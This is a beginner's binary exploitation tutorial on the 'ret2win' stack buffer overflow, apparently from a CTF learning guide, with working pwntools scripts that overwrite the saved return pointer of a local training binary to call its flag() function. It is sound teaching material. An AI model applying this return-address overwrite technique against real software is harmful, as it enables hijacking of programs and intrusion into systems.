ret2win
The most basic binexp challenge
A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.
To carry this out, we have to leverage what we learnt in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.
To do this, what do we need to know? Well, a couple things:
  • The padding until we begin to overwrite the return pointer (EIP)
  • What value we want to overwrite EIP to
When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.
ret2win.zip
3KB
Binary
ret2win

Finding the Padding

This can be found using simple trial and error; if we send a variable numbers of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.
You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.
We get an offset of 52 bytes.

Finding the Address

Now we need to find the address of the flag() function in the binary. This is simple.
1
$ r2 -d -A vuln
2
$ afl
3
[...]
4
0x080491c3 1 43 sym.flag
5
[...]
Copied!
afl stands for Analyse Functions List
The flag() function is at 0x080491c3.

Using the Information

The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ascii codes 0x08, 0x04, 0x91 and 0xc3.
This is a lot simpler than you might think, because we can specify them in python as hex:
1
address = '\x08\x04\x91\xc3'
Copied!
And that makes it much easier.

Putting it Together

Now we know the padding and the value, let's exploit the binary! We can use pwntools to interface with the binary (check out the pwntools posts for a more in-depth look).
1
from pwn import * # This is how we import pwntools
2
3
p = process('./vuln') # We're starting a new process
4
5
payload = 'A' * 52
6
payload += '\x08\x04\x91\xc3'
7
8
p.clean() # Receive all the text
9
10
p.sendline(payload)
11
12
log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
Copied!
If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put in a pause() to give us time to attach radare2 onto the process.
1
from pwn import *
2
3
p = process('./vuln')
4
5
payload = b'A' * 52
6
payload += '\x08\x04\x91\xc3'
7
8
log.info(p.clean())
9
10
pause() # add this in
11
12
p.sendline(payload)
13
14
log.info(p.clean())
Copied!
Now let's run the script with python3 exploit.py and then open up a new terminal window.
1
r2 -d -A $(pidof vuln)
Copied!
By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.
1
[0x08049172]> db 0x080491aa
2
[0x08049172]> dc
3
4
<< press any button on the exploit terminal window >>
5
6
hit breakpoint at: 80491aa
7
[0x080491aa]> pxw @ esp
8
0xffdb0f7c 0xc3910408 [...]
9
[...]
Copied!
0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is endianness. Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (for a reason), and most binaries you will come across are little-endian. As far as we're concerned, the byte are stored in reverse order in little-endian executables.

Finding the Endianness

radare2 comes with a nice tool called rabin2 for binary analysis:
1
$ rabin2 -I vuln
2
[...]
3
endian little
4
[...]
Copied!
So our binary is little-endian.

Accounting for Endianness

The fix is simple - reverse the address (you can also remove the pause())
1
payload += '\x08\x04\x91\xc3'[::-1]
Copied!
If you run this now, it will work:
1
$ python3 tutorial.py
2
[+] Starting local process './vuln': pid 2290
3
[*] Overflow me
4
[*] Exploited!!!!!
Copied!
And wham, you've called the flag() function! Congrats!

Pwntools and Endianness

Unsurprisingly, you're not the first person to have thought "could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!
1
payload += '\x08\x04\x91\xc3'[::-1]
Copied!
becomes
1
payload += p32(0x080491c3)
Copied!
Much simpler, right?
The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:
1
payload = b'A' * 52 # Notice the "b"
Copied!
Otherwise you will get a
1
TypeError: can only concatenate str (not "bytes") to str
Copied!

Final Exploit

1
from pwn import * # This is how we import pwntools
2
3
p = process('./vuln') # We're starting a new process
4
5
payload = b'A' * 52
6
payload += p32(0x080491c3) # Use pwntools to pack it
7
8
log.info(p.clean()) # Receive all the text
9
p.sendline(payload)
10
11
log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
Copied!